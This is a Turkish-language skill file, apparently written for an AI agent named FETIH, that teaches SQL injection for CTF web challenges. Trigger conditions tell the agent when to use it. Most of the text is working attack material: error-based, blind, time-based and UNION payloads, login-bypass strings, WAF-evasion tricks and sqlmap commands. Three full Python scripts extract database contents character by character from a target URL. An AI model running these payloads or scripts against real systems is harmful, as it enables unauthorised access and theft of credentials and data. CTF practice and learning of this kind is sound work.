SQL Injection Exploitation
CTF web challenglarında SQL injection, en yaygın ve ödüllendirici saldırı vektörlerinden biridir. Bu skill, error-based, boolean-blind, time-based ve UNION tabanlı teknikleri, gerçek CTF writeup'larından alınan payloadlarla kapsar.
Ne Zaman Kullan
Aşağıdaki ipuçlarından herhangi birini görünce bu skill'i tetikle:
- Login formunda
username / password alanları var, kaynak kodu veya hata mesajı SQL sorgusuna atıfta bulunuyor
- Challenge açıklamasında "room matching", "roommate search", "filter by preference" gibi ifadeler geçiyor
- Input uzunluğu sınırlaması var (key ≤10, value ≤50 gibi) — bu genellikle kör bir bypass gerektirir
- Yorum karakterleri (
--, #, /*) engellenmiş ama tek tırnak (') hâlâ çalışıyor
- Sunucu PostgreSQL çalıştırıyor ve
password::int gibi cast işlemleri var (hata tabanlı sızıntı)
sqlmap dene ama filtreleniyorsa manuel crafting gerekli
- Java/Spring uygulamasında Burp Suite ile parametreleri test ettiğinde
500 hatası dönüyor
Saldırı Türleri
1. Error-Based SQLi (Hata Tabanlı)
Sunucu hata mesajını doğrudan yansıtıyorsa veri okuma en hızlı yoldur.
PostgreSQL — cast hatası ile veri sızdırma:
' AND 1=CAST((SELECT version()) AS INT)--
invalid input syntax for type integer: "PostgreSQL 14.2..." hatası veriyi döker.
MySQL — EXTRACTVALUE ile:
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))--
2. Boolean-Based Blind SQLi
Uygulamanın farklı koşullara farklı yanıt verdiği durumlarda kullanılır (kayıt var / yok, giriş başarılı / başarısız).
' AND SUBSTRING((SELECT flag FROM flags LIMIT 1),1,1)='c'--
' AND ASCII(SUBSTRING((SELECT flag FROM flags),1,1))>96--
3. Time-Based Blind SQLi
Uygulama hiçbir fark göstermiyorsa gecikme üzerinden veri çekilir.
-- MySQL
' AND SLEEP(3)--
-- PostgreSQL
'; SELECT pg_sleep(3)--
-- SQLite
' AND 1=(SELECT 1 FROM sqlite_master WHERE type='table' AND name LIKE 'flag%' AND 1=randomblob(100000000))--
4. UNION-Based SQLi
Kaç sütun döndüğü biliniyorsa en verimli yöntemdir.
' UNION SELECT NULL,NULL,NULL-- -- sütun sayısını bul
' UNION SELECT NULL,version(),NULL-- -- hangi sütun string
' UNION SELECT NULL,flag,NULL FROM flags--
5. Uzunluk Kısıtlamalı Blind SQLi (LACTF Stili)
la-housing-portal challengında key ≤10, value ≤50 ve yorumlar engellenmiş:
' OR '1'='1
' OR EXISTS(SELECT 1 FROM users WHERE role='admin' AND 1=1) OR '1'='
50 karaktere tam sığan, yorum kullanmayan payload: sorgu parantezi kapatıp OR ile koşul ekle, son tırnak ile orijinal sorgunun geri kalanını dengelendire.
Payload Örnekleri
Login Bypass
' OR '1'='1
' OR 1=1--
admin'--
' OR 'x'='x
Tablo ve Sütun Keşfi (PostgreSQL)
' AND 1=CAST((SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public') AS INT)--
' AND 1=CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0) AS INT)--
Flag Okuma
' UNION SELECT 1,flag,3 FROM flags--
' AND 1=CAST((SELECT flag FROM flags LIMIT 1) AS INT)--
Yorum Karakteri Olmadan Kapama (LACTF Stili)
' AND EXISTS(SELECT 1 FROM users WHERE admin=1) AND '1'='1
Python Exploit Şablonu
Boolean-Based Blind (Tam Otomatik)
#!/usr/bin/env python3
"""
Boolean-blind SQLi karakter-karakter brute force.
LACTF 2024 la-housing-portal varyantı.
"""
import requests
import string
TARGET = "http://chall.example.com/search"
CHARSET = string.printable.strip()
def check(payload: str) -> bool:
"""True dönerse koşul doğrudur."""
r = requests.post(TARGET, data={"key": "room", "value": payload}, timeout=10)
# Başarılı sonuç belirteci — challenge'a göre ayarla
return "result" in r.text or r.status_code == 200 and len(r.text) > 100
def extract_string(query: str, max_len: int = 64) -> str:
result = ""
for i in range(1, max_len + 1):
found = False
for ch in CHARSET:
# 50 char limiti — query'yi kısa tut
payload = f"' AND SUBSTRING(({query}),{i},1)='{ch}' AND '1'='1"
if len(payload) <= 50 and check(payload):
result += ch
print(f"\r[+] {result}", end="", flush=True)
found = True
break
if not found:
break
print()
return result
if __name__ == "__main__":
flag = extract_string("SELECT flag FROM flags LIMIT 1")
print(f"[FLAG] {flag}")
Error-Based (PostgreSQL Cast)
#!/usr/bin/env python3
"""
PostgreSQL error-based SQLi — cast hatası ile veri sızdırma.
Real World CTF 2024 Chatterbox varyantı.
"""
import requests
import re
TARGET = "http://chall.example.com/login"
def error_extract(query: str) -> str:
payload = f"' AND 1=CAST(({query}) AS INT)-- "
r = requests.post(TARGET, data={"username": "admin", "password": payload}, timeout=10)
# Hata mesajından veriyi çek
m = re.search(r'syntax for type integer: "([^"]+)"', r.text)
if m:
return m.group(1)
return ""
if __name__ == "__main__":
# Tablo adlarını öğren
tables = error_extract(
"SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public'"
)
print(f"[+] Tablolar: {tables}")
# Flag tablosundan oku
flag = error_extract("SELECT flag FROM flags LIMIT 1")
print(f"[FLAG] {flag}")
Time-Based Blind (MySQL/PostgreSQL)
#!/usr/bin/env python3
"""Time-based blind SQLi — gecikme ile karakter tespiti."""
import requests
import time
import string
TARGET = "http://chall.example.com/login"
DELAY = 2.0 # saniye — sunucu gecikmesine göre ayarla
def time_check(payload: str) -> bool:
start = time.time()
try:
requests.post(TARGET, data={"username": payload, "password": "x"}, timeout=DELAY + 3)
except requests.Timeout:
return True
return (time.time() - start) >= DELAY
def extract_char(pos: int, query: str) -> str:
for ch in string.printable:
# MySQL
p = f"' AND IF(SUBSTRING(({query}),{pos},1)='{ch}',SLEEP({DELAY}),0)-- "
if time_check(p):
return ch
return ""
if __name__ == "__main__":
flag = ""
for i in range(1, 65):
ch = extract_char(i, "SELECT flag FROM flags LIMIT 1")
if not ch:
break
flag += ch
print(f"\r[+] {flag}", end="", flush=True)
print(f"\n[FLAG] {flag}")
Gerçek Challenge Referansları
LACTF 2024 — la-housing-portal
- Bağlam: Flask + SQLite roommate eşleştirme uygulaması. GET parametresi doğrudan SQL'e giriyor.
- Kısıtlamalar: key ≤10 karakter, value ≤50 karakter;
--, #, /* yorum karakterleri engellenmiş.
- Çözüm: 50 karaktere sığan, yorum içermeyen bir payload: tırnak kapatma +
OR EXISTS(...) + açık tırnakla kapama.
- Payload:
' OR EXISTS(SELECT 1 FROM users WHERE role='admin') OR '1'='1
- Writeup: https://psdat123.github.io/posts/LA-CTF-2024/
Real World CTF 2024 — Chatterbox
- Bağlam: Java Spring + Thymeleaf + PostgreSQL. Parola alanına
password::int cast uygulanıyor.
- Teknik: Error-based PostgreSQL SQLi → admin parolasını sızdır → LFI zinciri → Thymeleaf SSTI → RCE.
- Çekirdek payload:
' AND 1=CAST((SELECT password FROM users WHERE username='admin') AS INT)--
- Writeup: https://samuzora.com/posts/rwctf-2024
WAF Bypass Teknikleri
Büyük-Küçük Harf Karıştırma
SeLeCt, uNiOn, wHeRe
Yorum ile Boşluk Atlatma
UNION/**/SELECT/**/flag/**/FROM/**/flags
URL Encoding
%27 OR %271%27%3D%271
Yorum Karaktersiz Denge
' OR '1'='1
' AND 'a'='a
İç içe Anahtar Kelime
UNUNIONION SELSELECTECT -- filtre "UNION" siler, geri kalan birleşir
Alternatif Yazım (MySQL)
/*!UNION*/ /*!SELECT*/ flag FROM flags
Zaman Tabanlı WAF Bypass
';WAITFOR DELAY '0:0:3'-- -- MSSQL
';SELECT pg_sleep(3)-- -- PostgreSQL
' AND SLEEP(3)-- -- MySQL
Hızlı Triage Adımları
- Tek tırnak (
') gönder — 500 veya SQL hatası görünce injection noktası doğrulanmış
' OR '1'='1 ile login bypass dene
- Hata mesajı var mı? → Error-based
- Farklı yanıt uzunlukları var mı? → Boolean-blind
- Hiçbir fark yok mu? → Time-based
- Sütun sayısı belirlenebiliyorsa → UNION-based
sqlmap -u URL -p param --dbs ile otomatik keşif dene; filtreleniyorsa --tamper=space2comment ekle
<!--
⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
Yetkisiz kullanim/kopyalama tespit edilebilir.
hash: db836b8951765655
-->